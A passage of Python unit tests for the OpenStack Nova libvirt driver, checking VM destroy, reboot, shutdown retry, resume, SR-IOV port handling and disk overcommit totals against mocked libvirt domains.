self.mox.UnsetStubs() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) service_mock = mock.MagicMock() service_mock.disabled.return_value = False with contextlib.nested( mock.patch.object(drvr._host, "_connect", side_effect=fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, "Failed to connect to host", error_code= fakelibvirt.VIR_ERR_INTERNAL_ERROR)), mock.patch.object(drvr._host, "_init_events", return_value=None), mock.patch.object(host.Host, "has_min_version", return_value=True), mock.patch.object(drvr, "_do_quality_warnings", return_value=None), mock.patch.object(objects.Service, "get_by_compute_host", return_value=service_mock)): drvr.init_host("wibble") self.assertRaises(exception.HypervisorUnavailable, drvr.get_num_instances) self.assertTrue(service_mock.disabled) def test_service_resume_after_broken_connection(self): self.mox.UnsetStubs() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) service_mock = mock.MagicMock() service_mock.disabled.return_value = True with contextlib.nested( mock.patch.object(drvr._host, "_connect", return_value=mock.MagicMock()), mock.patch.object(drvr._host, "_init_events", return_value=None), mock.patch.object(host.Host, "has_min_version", return_value=True), mock.patch.object(drvr, "_do_quality_warnings", return_value=None), mock.patch.object(objects.Service, "get_by_compute_host", return_value=service_mock)): drvr.init_host("wibble") drvr.get_num_instances() self.assertTrue(not service_mock.disabled and service_mock.disabled_reason is None) @mock.patch.object(objects.Instance, 'save') def test_immediate_delete(self, mock_save): def fake_get_domain(instance): raise exception.InstanceNotFound(instance_id=instance.name) def fake_delete_instance_files(instance): pass drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr._host, 'get_domain', fake_get_domain) self.stubs.Set(drvr, 'delete_instance_files', fake_delete_instance_files) instance = objects.Instance(self.context, **self.test_instance) drvr.destroy(self.context, instance, {}) mock_save.assert_called_once_with() @mock.patch.object(objects.Instance, 'get_by_uuid') @mock.patch.object(objects.Instance, 'obj_load_attr', autospec=True) @mock.patch.object(objects.Instance, 'save', autospec=True) @mock.patch.object(libvirt_driver.LibvirtDriver, '_destroy') @mock.patch.object(libvirt_driver.LibvirtDriver, 'delete_instance_files') @mock.patch.object(libvirt_driver.LibvirtDriver, '_disconnect_volume') @mock.patch.object(driver, 'block_device_info_get_mapping') @mock.patch.object(libvirt_driver.LibvirtDriver, '_undefine_domain') def _test_destroy_removes_disk(self, mock_undefine_domain, mock_mapping, mock_disconnect_volume, mock_delete_instance_files, mock_destroy, mock_inst_save, mock_inst_obj_load_attr, mock_get_by_uuid, volume_fail=False): instance = objects.Instance(self.context, **self.test_instance) vol = {'block_device_mapping': [ {'connection_info': 'dummy', 'mount_device': '/dev/sdb'}]} mock_mapping.return_value = vol['block_device_mapping'] mock_delete_instance_files.return_value = True mock_get_by_uuid.return_value = instance if volume_fail: mock_disconnect_volume.return_value = ( exception.VolumeNotFound('vol')) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr.destroy(self.context, instance, [], vol) def test_destroy_removes_disk(self): self._test_destroy_removes_disk(volume_fail=False) def test_destroy_removes_disk_volume_fails(self): self._test_destroy_removes_disk(volume_fail=True) @mock.patch.object(libvirt_driver.LibvirtDriver, 'unplug_vifs') @mock.patch.object(libvirt_driver.LibvirtDriver, '_destroy') @mock.patch.object(libvirt_driver.LibvirtDriver, '_undefine_domain') def test_destroy_not_removes_disk(self, mock_undefine_domain, mock_destroy, mock_unplug_vifs): instance = fake_instance.fake_instance_obj( None, name='instancename', id=1, uuid='875a8070-d0b9-4949-8b31-104d125c9a64') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr.destroy(self.context, instance, [], None, False) @mock.patch.object(libvirt_driver.LibvirtDriver, 'cleanup') @mock.patch.object(libvirt_driver.LibvirtDriver, '_teardown_container') @mock.patch.object(host.Host, 'get_domain') def test_destroy_lxc_calls_teardown_container(self, mock_get_domain, mock_teardown_container, mock_cleanup): self.flags(virt_type='lxc', group='libvirt') fake_domain = FakeVirtDomain() def destroy_side_effect(*args, **kwargs): fake_domain._info[0] = power_state.SHUTDOWN with mock.patch.object(fake_domain, 'destroy', side_effect=destroy_side_effect) as mock_domain_destroy: mock_get_domain.return_value = fake_domain instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) network_info = [] drvr.destroy(self.context, instance, network_info, None, False) mock_get_domain.assert_has_calls([mock.call(instance), mock.call(instance)]) mock_domain_destroy.assert_called_once_with() mock_teardown_container.assert_called_once_with(instance) mock_cleanup.assert_called_once_with(self.context, instance, network_info, None, False, None) @mock.patch.object(libvirt_driver.LibvirtDriver, 'cleanup') @mock.patch.object(libvirt_driver.LibvirtDriver, '_teardown_container') @mock.patch.object(host.Host, 'get_domain') def test_destroy_lxc_calls_teardown_container_when_no_domain(self, mock_get_domain, mock_teardown_container, mock_cleanup): self.flags(virt_type='lxc', group='libvirt') instance = objects.Instance(**self.test_instance) inf_exception = exception.InstanceNotFound(instance_id=instance.name) mock_get_domain.side_effect = inf_exception drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) network_info = [] drvr.destroy(self.context, instance, network_info, None, False) mock_get_domain.assert_has_calls([mock.call(instance), mock.call(instance)]) mock_teardown_container.assert_called_once_with(instance) mock_cleanup.assert_called_once_with(self.context, instance, network_info, None, False, None) def test_reboot_different_ids(self): class FakeLoopingCall(object): def start(self, *a, **k): return self def wait(self): return None self.flags(wait_soft_reboot_seconds=1, group='libvirt') info_tuple = ('fake', 'fake', 'fake', 'also_fake') self.reboot_create_called = False # Mock domain mock_domain = self.mox.CreateMock(fakelibvirt.virDomain) mock_domain.info().AndReturn( (libvirt_driver.VIR_DOMAIN_RUNNING,) + info_tuple) mock_domain.ID().AndReturn('some_fake_id') mock_domain.shutdown() mock_domain.info().AndReturn( (libvirt_driver.VIR_DOMAIN_CRASHED,) + info_tuple) mock_domain.ID().AndReturn('some_other_fake_id') self.mox.ReplayAll() def fake_get_domain(instance): return mock_domain def fake_create_domain(**kwargs): self.reboot_create_called = True drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) self.stubs.Set(drvr._host, 'get_domain', fake_get_domain) self.stubs.Set(drvr, '_create_domain', fake_create_domain) self.stubs.Set(loopingcall, 'FixedIntervalLoopingCall', lambda *a, **k: FakeLoopingCall()) self.stubs.Set(pci_manager, 'get_instance_pci_devs', lambda *a: []) drvr.reboot(None, instance, [], 'SOFT') self.assertTrue(self.reboot_create_called) @mock.patch.object(pci_manager, 'get_instance_pci_devs') @mock.patch.object(loopingcall, 'FixedIntervalLoopingCall') @mock.patch.object(greenthread, 'sleep') @mock.patch.object(libvirt_driver.LibvirtDriver, '_hard_reboot') @mock.patch.object(host.Host, 'get_domain') def test_reboot_same_ids(self, mock_get_domain, mock_hard_reboot, mock_sleep, mock_loopingcall, mock_get_instance_pci_devs): class FakeLoopingCall(object): def start(self, *a, **k): return self def wait(self): return None self.flags(wait_soft_reboot_seconds=1, group='libvirt') info_tuple = ('fake', 'fake', 'fake', 'also_fake') self.reboot_hard_reboot_called = False # Mock domain mock_domain = mock.Mock(fakelibvirt.virDomain) return_values = [(libvirt_driver.VIR_DOMAIN_RUNNING,) + info_tuple, (libvirt_driver.VIR_DOMAIN_CRASHED,) + info_tuple] mock_domain.info.side_effect = return_values mock_domain.ID.return_value = 'some_fake_id' mock_domain.shutdown.side_effect = mock.Mock() def fake_hard_reboot(*args, **kwargs): self.reboot_hard_reboot_called = True drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) mock_get_domain.return_value = mock_domain mock_hard_reboot.side_effect = fake_hard_reboot mock_loopingcall.return_value = FakeLoopingCall() mock_get_instance_pci_devs.return_value = [] drvr.reboot(None, instance, [], 'SOFT') self.assertTrue(self.reboot_hard_reboot_called) @mock.patch.object(libvirt_driver.LibvirtDriver, '_hard_reboot') @mock.patch.object(host.Host, 'get_domain') def test_soft_reboot_libvirt_exception(self, mock_get_domain, mock_hard_reboot): # Tests that a hard reboot is performed when a soft reboot results # in raising a libvirtError. info_tuple = ('fake', 'fake', 'fake', 'also_fake') # setup mocks mock_virDomain = mock.Mock(fakelibvirt.virDomain) mock_virDomain.info.return_value = ( (libvirt_driver.VIR_DOMAIN_RUNNING,) + info_tuple) mock_virDomain.ID.return_value = 'some_fake_id' mock_virDomain.shutdown.side_effect = fakelibvirt.libvirtError('Err') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) context = None instance = objects.Instance(**self.test_instance) network_info = [] mock_get_domain.return_value = mock_virDomain drvr.reboot(context, instance, network_info, 'SOFT') @mock.patch.object(libvirt_driver.LibvirtDriver, '_hard_reboot') @mock.patch.object(host.Host, 'get_domain') def _test_resume_state_on_host_boot_with_state(self, state, mock_get_domain, mock_hard_reboot): mock_virDomain = mock.Mock(fakelibvirt.virDomain) mock_virDomain.info.return_value = ([state, None, None, None, None]) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_get_domain.return_value = mock_virDomain instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) drvr.resume_state_on_host_boot(self.context, instance, network_info, block_device_info=None) ignored_states = (power_state.RUNNING, power_state.SUSPENDED, power_state.NOSTATE, power_state.PAUSED) self.assertEqual(mock_hard_reboot.called, state not in ignored_states) def test_resume_state_on_host_boot_with_running_state(self): self._test_resume_state_on_host_boot_with_state(power_state.RUNNING) def test_resume_state_on_host_boot_with_suspended_state(self): self._test_resume_state_on_host_boot_with_state(power_state.SUSPENDED) def test_resume_state_on_host_boot_with_paused_state(self): self._test_resume_state_on_host_boot_with_state(power_state.PAUSED) def test_resume_state_on_host_boot_with_nostate(self): self._test_resume_state_on_host_boot_with_state(power_state.NOSTATE) def test_resume_state_on_host_boot_with_shutdown_state(self): self._test_resume_state_on_host_boot_with_state(power_state.RUNNING) def test_resume_state_on_host_boot_with_crashed_state(self): self._test_resume_state_on_host_boot_with_state(power_state.CRASHED) @mock.patch.object(libvirt_driver.LibvirtDriver, '_hard_reboot') @mock.patch.object(host.Host, 'get_domain') def test_resume_state_on_host_boot_with_instance_not_found_on_driver( self, mock_get_domain, mock_hard_reboot): instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_get_domain.side_effect = exception.InstanceNotFound( instance_id='fake') drvr.resume_state_on_host_boot(self.context, instance, network_info=[], block_device_info=None) mock_hard_reboot.assert_called_once_with(self.context, instance, [], None) @mock.patch('nova.virt.libvirt.LibvirtDriver.get_info') @mock.patch('nova.virt.libvirt.LibvirtDriver._create_domain_and_network') @mock.patch('nova.virt.libvirt.LibvirtDriver._create_images_and_backing') @mock.patch('nova.virt.libvirt.LibvirtDriver._get_guest_xml') @mock.patch('nova.virt.libvirt.LibvirtDriver._get_instance_disk_info') @mock.patch('nova.virt.libvirt.LibvirtDriver._destroy') def test_hard_reboot(self, mock_destroy, mock_get_instance_disk_info, mock_get_guest_xml, mock_create_images_and_backing, mock_create_domain_and_network, mock_get_info): self.context.auth_token = True # any non-None value will suffice instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) block_device_info = None dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/test/disk.local'/>" "<target dev='vdb' bus='virtio'/></disk>" "</devices></domain>") drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) return_values = [hardware.InstanceInfo(state=power_state.SHUTDOWN), hardware.InstanceInfo(state=power_state.RUNNING)] mock_get_info.side_effect = return_values disk_info = [{"virt_disk_size": 2}] mock_get_guest_xml.return_value = dummyxml mock_get_instance_disk_info.return_value = disk_info drvr._hard_reboot(self.context, instance, network_info, block_device_info) @mock.patch('oslo_utils.fileutils.ensure_tree') @mock.patch('oslo_service.loopingcall.FixedIntervalLoopingCall') @mock.patch('nova.pci.manager.get_instance_pci_devs') @mock.patch('nova.virt.libvirt.LibvirtDriver._prepare_pci_devices_for_use') @mock.patch('nova.virt.libvirt.LibvirtDriver._create_domain_and_network') @mock.patch('nova.virt.libvirt.LibvirtDriver._create_images_and_backing') @mock.patch('nova.virt.libvirt.LibvirtDriver._get_instance_disk_info') @mock.patch('nova.virt.libvirt.utils.write_to_file') @mock.patch('nova.virt.libvirt.utils.get_instance_path') @mock.patch('nova.virt.libvirt.LibvirtDriver._get_guest_config') @mock.patch('nova.virt.libvirt.blockinfo.get_disk_info') @mock.patch('nova.virt.libvirt.LibvirtDriver._destroy') def test_hard_reboot_does_not_call_glance_show(self, mock_destroy, mock_get_disk_info, mock_get_guest_config, mock_get_instance_path, mock_write_to_file, mock_get_instance_disk_info, mock_create_images_and_backing, mock_create_domand_and_network, mock_prepare_pci_devices_for_use, mock_get_instance_pci_devs, mock_looping_call, mock_ensure_tree): """For a hard reboot, we shouldn't need an additional call to glance to get the image metadata. This is important for automatically spinning up instances on a host-reboot, since we won't have a user request context that'll allow the Glance request to go through. We have to rely on the cached image metadata, instead. https://bugs.launchpad.net/nova/+bug/1339386 """ drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) network_info = mock.MagicMock() block_device_info = mock.MagicMock() mock_get_disk_info.return_value = {} mock_get_guest_config.return_value = mock.MagicMock() mock_get_instance_path.return_value = '/foo' mock_looping_call.return_value = mock.MagicMock() drvr._image_api = mock.MagicMock() drvr._hard_reboot(self.context, instance, network_info, block_device_info) self.assertFalse(drvr._image_api.get.called) mock_ensure_tree.assert_called_once_with('/foo') @mock.patch.object(time, 'sleep') @mock.patch.object(libvirt_driver.LibvirtDriver, '_create_domain') @mock.patch.object(host.Host, 'get_domain') def _test_clean_shutdown(self, mock_get_domain, mock_create_domain, mock_sleep, seconds_to_shutdown, timeout, retry_interval, shutdown_attempts, succeeds): info_tuple = ('fake', 'fake', 'fake', 'also_fake') shutdown_count = [] # Mock domain mock_domain = mock.Mock(fakelibvirt.virDomain) return_infos = [(libvirt_driver.VIR_DOMAIN_RUNNING,) + info_tuple] return_shutdowns = [shutdown_count.append("shutdown")] retry_countdown = retry_interval for x in range(min(seconds_to_shutdown, timeout)): return_infos.append( (libvirt_driver.VIR_DOMAIN_RUNNING,) + info_tuple) if retry_countdown == 0: return_shutdowns.append(shutdown_count.append("shutdown")) retry_countdown = retry_interval else: retry_countdown -= 1 if seconds_to_shutdown < timeout: return_infos.append( (libvirt_driver.VIR_DOMAIN_SHUTDOWN,) + info_tuple) mock_domain.info.side_effect = return_infos mock_domain.shutdown.side_effect = return_shutdowns def fake_create_domain(**kwargs): self.reboot_create_called = True drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) mock_get_domain.return_value = mock_domain mock_create_domain.side_effect = fake_create_domain result = drvr._clean_shutdown(instance, timeout, retry_interval) self.assertEqual(succeeds, result) self.assertEqual(shutdown_attempts, len(shutdown_count)) def test_clean_shutdown_first_time(self): self._test_clean_shutdown(seconds_to_shutdown=2, timeout=5, retry_interval=3, shutdown_attempts=1, succeeds=True) def test_clean_shutdown_with_retry(self): self._test_clean_shutdown(seconds_to_shutdown=4, timeout=5, retry_interval=3, shutdown_attempts=2, succeeds=True) def test_clean_shutdown_failure(self): self._test_clean_shutdown(seconds_to_shutdown=6, timeout=5, retry_interval=3, shutdown_attempts=2, succeeds=False) def test_clean_shutdown_no_wait(self): self._test_clean_shutdown(seconds_to_shutdown=6, timeout=0, retry_interval=3, shutdown_attempts=1, succeeds=False) @mock.patch.object(FakeVirtDomain, 'attachDeviceFlags') @mock.patch.object(FakeVirtDomain, 'ID', return_value=1) @mock.patch.object(utils, 'get_image_from_system_metadata', return_value=None) def test_attach_sriov_ports(self, mock_get_image_metadata, mock_ID, mock_attachDevice): instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) network_info[0]['vnic_type'] = network_model.VNIC_TYPE_DIRECT guest = libvirt_guest.Guest(FakeVirtDomain()) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr._attach_sriov_ports(self.context, instance, guest, network_info) mock_get_image_metadata.assert_called_once_with( instance.system_metadata) self.assertTrue(mock_attachDevice.called) @mock.patch.object(FakeVirtDomain, 'attachDeviceFlags') @mock.patch.object(FakeVirtDomain, 'ID', return_value=1) @mock.patch.object(utils, 'get_image_from_system_metadata', return_value=None) def test_attach_sriov_ports_with_info_cache(self, mock_get_image_metadata, mock_ID, mock_attachDevice): instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) network_info[0]['vnic_type'] = network_model.VNIC_TYPE_DIRECT instance.info_cache = objects.InstanceInfoCache( network_info=network_info) guest = libvirt_guest.Guest(FakeVirtDomain()) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr._attach_sriov_ports(self.context, instance, guest, None) mock_get_image_metadata.assert_called_once_with( instance.system_metadata) self.assertTrue(mock_attachDevice.called) @mock.patch.object(host.Host, 'has_min_version', return_value=True) @mock.patch.object(FakeVirtDomain, 'detachDeviceFlags') @mock.patch.object(utils, 'get_image_from_system_metadata', return_value=None) def test_detach_sriov_ports(self, mock_get_image_metadata, mock_detachDeviceFlags, mock_has_min_version): instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) network_info[0]['vnic_type'] = network_model.VNIC_TYPE_DIRECT instance.info_cache = objects.InstanceInfoCache( network_info=network_info) domain = FakeVirtDomain() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) guest = libvirt_guest.Guest(domain) drvr._detach_sriov_ports(self.context, instance, guest) mock_get_image_metadata.assert_called_once_with( instance.system_metadata) self.assertTrue(mock_detachDeviceFlags.called) def test_resume(self): dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/test/disk.local'/>" "<target dev='vdb' bus='virtio'/></disk>" "</devices></domain>") instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) block_device_info = None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) guest = libvirt_guest.Guest('fake_dom') with contextlib.nested( mock.patch.object(drvr, '_get_existing_domain_xml', return_value=dummyxml), mock.patch.object(drvr, '_create_domain_and_network', return_value=guest), mock.patch.object(drvr, '_attach_pci_devices'), mock.patch.object(pci_manager, 'get_instance_pci_devs', return_value='fake_pci_devs'), mock.patch.object(utils, 'get_image_from_system_metadata'), mock.patch.object(blockinfo, 'get_disk_info'), ) as (_get_existing_domain_xml, _create_domain_and_network, _attach_pci_devices, get_instance_pci_devs, get_image_metadata, get_disk_info): get_image_metadata.return_value = {'bar': 234} disk_info = {'foo': 123} get_disk_info.return_value = disk_info drvr.resume(self.context, instance, network_info, block_device_info) _get_existing_domain_xml.assert_has_calls([mock.call(instance, network_info, block_device_info)]) _create_domain_and_network.assert_has_calls([mock.call( self.context, dummyxml, instance, network_info, disk_info, block_device_info=block_device_info, vifs_already_plugged=True)]) _attach_pci_devices.assert_has_calls([mock.call(guest, 'fake_pci_devs')]) @mock.patch.object(host.Host, 'get_domain') @mock.patch.object(libvirt_driver.LibvirtDriver, 'get_info') @mock.patch.object(libvirt_driver.LibvirtDriver, 'delete_instance_files') @mock.patch.object(objects.Instance, 'save') def test_destroy_undefines(self, mock_save, mock_delete_instance_files, mock_get_info, mock_get_domain): dom_mock = mock.MagicMock() dom_mock.undefineFlags.return_value = 1 drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_get_domain.return_value = dom_mock mock_get_info.return_value = hardware.InstanceInfo( state=power_state.SHUTDOWN, id=-1) mock_delete_instance_files.return_value = None instance = objects.Instance(self.context, **self.test_instance) drvr.destroy(self.context, instance, []) mock_save.assert_called_once_with() @mock.patch.object(rbd_utils, 'RBDDriver') def test_cleanup_rbd(self, mock_driver): driver = mock_driver.return_value driver.cleanup_volumes = mock.Mock() fake_instance = {'uuid': '875a8070-d0b9-4949-8b31-104d125c9a64'} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) drvr._cleanup_rbd(fake_instance) driver.cleanup_volumes.assert_called_once_with(fake_instance) @mock.patch.object(objects.Instance, 'save') def test_destroy_undefines_no_undefine_flags(self, mock_save): mock = self.mox.CreateMock(fakelibvirt.virDomain) mock.ID() mock.destroy() mock.undefineFlags(1).AndRaise(fakelibvirt.libvirtError('Err')) mock.ID().AndReturn(123) mock.undefine() self.mox.ReplayAll() def fake_get_domain(instance): return mock def fake_get_info(instance_name): return hardware.InstanceInfo(state=power_state.SHUTDOWN, id=-1) def fake_delete_instance_files(instance): return None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr._host, 'get_domain', fake_get_domain) self.stubs.Set(drvr, 'get_info', fake_get_info) self.stubs.Set(drvr, 'delete_instance_files', fake_delete_instance_files) instance = objects.Instance(self.context, **self.test_instance) drvr.destroy(self.context, instance, []) mock_save.assert_called_once_with() @mock.patch.object(objects.Instance, 'save') def test_destroy_undefines_no_attribute_with_managed_save(self, mock_save): mock = self.mox.CreateMock(fakelibvirt.virDomain) mock.ID() mock.destroy() mock.undefineFlags(1).AndRaise(AttributeError()) mock.hasManagedSaveImage(0).AndReturn(True) mock.managedSaveRemove(0) mock.undefine() self.mox.ReplayAll() def fake_get_domain(instance): return mock def fake_get_info(instance_name): return hardware.InstanceInfo(state=power_state.SHUTDOWN, id=-1) def fake_delete_instance_files(instance): return None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr._host, 'get_domain', fake_get_domain) self.stubs.Set(drvr, 'get_info', fake_get_info) self.stubs.Set(drvr, 'delete_instance_files', fake_delete_instance_files) instance = objects.Instance(self.context, **self.test_instance) drvr.destroy(self.context, instance, []) mock_save.assert_called_once_with() @mock.patch.object(objects.Instance, 'save') def test_destroy_undefines_no_attribute_no_managed_save(self, mock_save): mock = self.mox.CreateMock(fakelibvirt.virDomain) mock.ID() mock.destroy() mock.undefineFlags(1).AndRaise(AttributeError()) mock.hasManagedSaveImage(0).AndRaise(AttributeError()) mock.undefine() self.mox.ReplayAll() def fake_get_domain(self, instance): return mock def fake_get_info(instance_name): return hardware.InstanceInfo(state=power_state.SHUTDOWN) def fake_delete_instance_files(instance): return None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(host.Host, 'get_domain', fake_get_domain) self.stubs.Set(drvr, 'get_info', fake_get_info) self.stubs.Set(drvr, 'delete_instance_files', fake_delete_instance_files) instance = objects.Instance(self.context, **self.test_instance) drvr.destroy(self.context, instance, []) mock_save.assert_called_once_with() def test_destroy_timed_out(self): mock = self.mox.CreateMock(fakelibvirt.virDomain) mock.ID() mock.destroy().AndRaise(fakelibvirt.libvirtError("timed out")) self.mox.ReplayAll() def fake_get_domain(self, instance): return mock def fake_get_error_code(self): return fakelibvirt.VIR_ERR_OPERATION_TIMEOUT drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(host.Host, 'get_domain', fake_get_domain) self.stubs.Set(fakelibvirt.libvirtError, 'get_error_code', fake_get_error_code) instance = objects.Instance(**self.test_instance) self.assertRaises(exception.InstancePowerOffFailure, drvr.destroy, self.context, instance, []) def test_private_destroy_not_found(self): ex = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, "No such domain", error_code=fakelibvirt.VIR_ERR_NO_DOMAIN) mock = self.mox.CreateMock(fakelibvirt.virDomain) mock.ID() mock.destroy().AndRaise(ex) mock.info().AndRaise(ex) self.mox.ReplayAll() def fake_get_domain(instance): return mock drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr._host, 'get_domain', fake_get_domain) instance = objects.Instance(**self.test_instance) # NOTE(vish): verifies destroy doesn't raise if the instance disappears drvr._destroy(instance) def test_private_destroy_lxc_processes_refused_to_die(self): self.flags(virt_type='lxc', group='libvirt') ex = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, "", error_message="internal error: Some processes refused to die", error_code=fakelibvirt.VIR_ERR_INTERNAL_ERROR) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(conn._host, 'get_domain') as mock_get_domain, \ mock.patch.object(conn, 'get_info') as mock_get_info: mock_domain = mock.MagicMock() mock_domain.ID.return_value = 1 mock_get_domain.return_value = mock_domain mock_domain.destroy.side_effect = ex mock_info = mock.MagicMock() mock_info.id = 1 mock_info.state = power_state.SHUTDOWN mock_get_info.return_value = mock_info instance = objects.Instance(**self.test_instance) conn._destroy(instance) def test_private_destroy_processes_refused_to_die_still_raises(self): ex = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, "", error_message="internal error: Some processes refused to die", error_code=fakelibvirt.VIR_ERR_INTERNAL_ERROR) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(conn._host, 'get_domain') as mock_get_domain: mock_domain = mock.MagicMock() mock_domain.ID.return_value = 1 mock_get_domain.return_value = mock_domain mock_domain.destroy.side_effect = ex instance = objects.Instance(**self.test_instance) self.assertRaises(fakelibvirt.libvirtError, conn._destroy, instance) def test_private_destroy_ebusy_timeout(self): # Tests that _destroy will retry 3 times to destroy the guest when an # EBUSY is raised, but eventually times out and raises the libvirtError ex = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, ("Failed to terminate process 26425 with SIGKILL: " "Device or resource busy"), error_code=fakelibvirt.VIR_ERR_SYSTEM_ERROR, int1=errno.EBUSY) mock_guest = mock.Mock(libvirt_guest.Guest, id=1) mock_guest.poweroff = mock.Mock(side_effect=ex) instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(drvr._host, 'get_guest', return_value=mock_guest): self.assertRaises(fakelibvirt.libvirtError, drvr._destroy, instance) self.assertEqual(3, mock_guest.poweroff.call_count) def test_private_destroy_ebusy_multiple_attempt_ok(self): # Tests that the _destroy attempt loop is broken when EBUSY is no # longer raised. ex = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, ("Failed to terminate process 26425 with SIGKILL: " "Device or resource busy"), error_code=fakelibvirt.VIR_ERR_SYSTEM_ERROR, int1=errno.EBUSY) mock_guest = mock.Mock(libvirt_guest.Guest, id=1) mock_guest.poweroff = mock.Mock(side_effect=[ex, None]) inst_info = hardware.InstanceInfo(power_state.SHUTDOWN, id=1) instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(drvr._host, 'get_guest', return_value=mock_guest): with mock.patch.object(drvr, 'get_info', return_value=inst_info): drvr._destroy(instance) self.assertEqual(2, mock_guest.poweroff.call_count) def test_undefine_domain_with_not_found_instance(self): def fake_get_domain(self, instance): raise exception.InstanceNotFound(instance_id=instance.name) self.stubs.Set(host.Host, 'get_domain', fake_get_domain) self.mox.StubOutWithMock(fakelibvirt.libvirtError, "get_error_code") self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) # NOTE(wenjianhn): verifies undefine doesn't raise if the # instance disappears drvr._undefine_domain(instance) @mock.patch.object(host.Host, "list_instance_domains") def test_disk_over_committed_size_total(self, mock_list): # Ensure destroy calls managedSaveRemove for saved instance. class DiagFakeDomain(object): def __init__(self, name): self._name = name def ID(self): return 1 def name(self): return self._name def UUIDString(self): return "19479fee-07a5-49bb-9138-d3738280d63c" def XMLDesc(self, flags): return "<domain/>" mock_list.return_value = [ DiagFakeDomain("instance0000001"), DiagFakeDomain("instance0000002")] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) fake_disks = {'instance0000001': [{'type': 'qcow2', 'path': '/somepath/disk1', 'virt_disk_size': '10737418240', 'backing_file': '/somepath/disk1', 'disk_size': '83886080', 'over_committed_disk_size': '10653532160'}], 'instance0000002': [{'type': 'raw', 'path': '/somepath/disk2', 'virt_disk_size': '0', 'backing_file': '/somepath/disk2', 'disk_size': '10737418240', 'over_committed_disk_size': '0'}]} def get_info(instance_name, xml, **kwargs): return fake_disks.get(instance_name) with mock.patch.object(drvr, "_get_instance_disk_info") as mock_info: mock_info.side_effect = get_info result = drvr._get_disk_over_committed_size_total() self.assertEqual(result, 10653532160) mock_list.assert_called_with() self.assertTrue(mock_info.called) @mock.patch.object(host.Host, "list_instance_domains") def test_disk_over_committed_size_total_eperm(self, mock_list): # Ensure destroy calls managedSaveRemove for saved instance. class DiagFakeDomain(object): def __init__(self, name): self._name = name def ID(self): return 1 def name(self): return self._name def UUIDString(self): return "19479fee-07a5-49bb-9138-d3738280d63c" def XMLDesc(self, flags): return "<domain/>" mock_list.return_value = [ DiagFakeDomain("instance0000001"), DiagFakeDomain("instance0000002")] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) fake_disks = {'instance0000001': [{'type': 'qcow2', 'path': '/somepath/disk1', 'virt_disk_size': '10737418240', 'backing_file': '/somepath/disk1', 'disk_size': '83886080', 'over_committed_disk_size': '10653532160'}], 'instance0000002': [{'type': 'raw', 'path': '/somepath/disk2', 'virt_disk_size': '0', 'backing_file': '/somepath/disk2', 'disk_size': '10737418240', 'over_committed_disk_size': '21474836480'}]} def 